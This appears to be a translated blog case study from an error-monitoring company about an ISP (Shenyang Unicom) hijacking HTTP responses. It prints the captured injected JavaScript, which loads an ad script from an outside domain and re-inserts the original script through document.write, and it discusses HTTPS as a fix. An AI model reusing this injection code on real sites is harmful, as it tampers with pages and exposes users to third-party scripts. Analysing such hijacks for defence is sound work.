When ISPs Hijack Your HTTP Requests: A Front‑End Debugging Case Study

Editor’s note: Fundebug’s customers discovered a tricky ISP HTTP hijacking problem while analyzing our alert data, highlighting the need for HTTPS support.

Frequent front‑end error emails led to the discovery that many requests originated from Shenyang Unicom IPs, suggesting ISP‑level hijacking.

On‑site inspection showed that the failing page’s JavaScript was blocked; the erroneous script inserted an advertisement script before the legitimate one.

Network panel checks confirmed the IP belonged to our server, ruling out DNS attacks. The issue was widespread across Shenyang Unicom, pointing to ISP interference rather than a compromised router.

<code>(function () {
    try {
        var o = 'm-_-m',
            D = document;
        if (!D.getElementById(o)) {
            var j = 'http://yunxiu.f6car.com/kzf6/js/basic/XXX.js',
                J = j + (~j.indexOf('?') ? '&' : '?') + new Date().getTime(),
                M = 'http://pc.quansj.cn/?cid=08',
                C = D.currentScript,
                H = D.getElementsByTagName('head')[0],
                N = function (s, i) {
                    var I = D.createElement('script');
                    I.type = 'text/JavaScript';
                    if (i) I.id = i;
                    I.src = s;
                    H.appendChild(I);
                };
            if (self == top) {
                N(M, o);
            }
            if (!C) {
                C = (function () {
                    var S = D.scripts,
                        l = S.length,
                        i = 0;
                    for (; i < l; ++i) {
                        if (S[i].src === j) {
                            return S[i];
                        }
                    }
                })();
            }
            C && ((C.defer || C.async) ? N(J) : D.write('<script src="' + J + '"></script>'));
        }
    } catch (e) {}
})();</code>

Whois lookup showed several related domains hosting ad‑hijacking sites, some apparently linked to a local entertainer.

After contacting Shenyang Unicom with no resolution, the issue was escalated to the Ministry of Industry and Information Technology.

Chrome’s

document.write()

handling changed in version 55, blocking synchronous script injection on slow connections (e.g., 2G) unless the script is async/defer, from a different eTLD+1, not cached, and not a page reload.

Chrome will not execute <script> elements injected via document.write() when all of the following conditions are met: the user is on a slow connection, the script is top‑level, it is parser‑blocking, it is hosted on a different domain, it is not cached, and the request is not a reload.

The injected script only runs if the page lacks an element with id

m-_-m

. If such an element exists, the malicious script is skipped, preventing further hijacked scripts from loading.

Network traces showed that the hijacked request included a query string, confirming that even commonjs resources were intercepted, causing the

m-_-m

node to appear and block subsequent scripts.

Potential mitigation includes enabling HTTPS and, for affected Chrome versions, toggling the flag

chrome://flags/#disallow-doc-written-script-loads

to restore normal script execution.